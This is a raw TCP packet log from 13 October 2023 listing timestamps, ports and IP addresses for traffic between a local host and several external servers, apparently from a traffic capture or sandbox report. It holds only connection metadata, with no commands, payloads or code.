Oct 13, 2023 16:06:16.851428032 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851464033 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851475954 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851511002 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851530075 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851571083 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851600885 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851640940 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851682901 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851711988 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851747990 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851809978 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851861000 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851880074 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851890087 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851903915 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.851954937 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.851980925 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852015018 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852092028 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852135897 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852159023 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852171898 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852199078 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852237940 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852289915 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852308989 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852332115 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852344036 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852385044 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852421999 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852441072 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852478027 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852490902 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852525949 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852618933 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852659941 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852747917 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852786064 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852790117 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852827072 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.852871895 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.852914095 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853029013 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853065968 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853111029 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853249073 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853300095 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853306055 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853354931 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853363037 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853410006 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853415966 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853471994 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853518009 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853527069 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853581905 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853589058 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853620052 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853663921 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853677034 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853724957 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853732109 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853771925 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853773117 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853826046 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.853857040 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853878975 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.853912115 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854006052 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854010105 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854057074 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854060888 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854103088 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854115009 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854161978 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854238987 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854291916 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854294062 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854331970 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854335070 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854376078 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854386091 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854435921 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854459047 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854506016 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854513884 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854556084 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854600906 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854652882 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854688883 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854732990 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854803085 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854846001 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.854917049 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.854954004 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855015039 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855062962 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855112076 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855115891 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855169058 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855212927 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855227947 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855314970 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855357885 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855453014 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855490923 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855499029 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855546951 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855593920 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855629921 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855673075 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855716944 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855767012 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855803967 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.855889082 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.855957985 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856045961 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856093884 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856151104 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856188059 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856232882 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856276035 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856324911 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856329918 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856370926 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856416941 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856458902 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856503963 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856590986 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856637001 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856683016 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856724977 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856767893 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856812954 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856887102 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.856956005 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.856972933 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857059956 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857091904 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857110977 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857147932 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857202053 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857206106 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857247114 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857290030 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857342958 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857345104 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857388020 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857448101 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857491970 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857492924 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857537985 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857558012 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857594013 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857595921 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857645988 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.857650042 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857757092 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857789040 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:16.857800961 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.858124971 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.858256102 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:16.942003965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942032099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942045927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942065954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942136049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942167997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942168951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942203045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942264080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942265034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942312002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942332983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942363977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942404032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942467928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942516088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942517042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942569017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942614079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942616940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942658901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942668915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942715883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942754030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942785978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942894936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.942935944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:16.942961931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.943028927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:16.943701029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.072731018 CEST	80	49789	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:17.106198072 CEST	80	49789	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:17.106278896 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.185858011 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:17.285119057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285257101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285275936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285310984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285326958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285377026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285393000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285476923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285516977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285563946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285573006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285612106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285649061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285659075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285809994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285861969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285866022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285903931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.285934925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.285974026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286017895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286050081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286185980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286225080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286277056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286281109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286339045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286340952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286395073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286462069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286513090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286528111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286581039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286587954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286658049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286695957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286744118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286751032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286787987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286792040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286906958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.286959887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.286963940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287019014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287065029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287069082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.287132978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287182093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.287189960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287228107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287282944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.287290096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287338972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287389994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287412882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.287444115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287492990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.287533998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287621975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.287664890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.315964937 CEST	443	49790	149.154.167.99	192.168.2.4
Oct 13, 2023 16:06:17.316066980 CEST	49790	443	192.168.2.4	149.154.167.99
Oct 13, 2023 16:06:17.361833096 CEST	49789	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.362700939 CEST	49791	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:17.628727913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.628798008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.628835917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.628854990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.628875971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.628936052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.629451036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.629488945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.629527092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.629581928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.629637957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.629678011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.630281925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630362034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630399942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.630491972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630549908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630590916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.630641937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630731106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630769968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.630901098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.630985022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631021976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.631047964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631102085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631140947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.631273031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631310940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631347895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.631381035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631510973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631547928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.631606102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631695032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631732941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.631834984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631931067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.631972075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632029057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632082939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632128000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632179022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632285118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632349014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632349968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632436991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632544994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632570028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632607937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632652998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632697105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632782936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632827997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.632952929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.632991076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633035898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633044958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633142948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633187056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633196115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633301020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633351088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633356094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633393049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633435011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633480072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633533001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633575916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:17.633595943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633644104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:17.633685112 CEST	49762	80	192.168.2.4	91.215.85.17
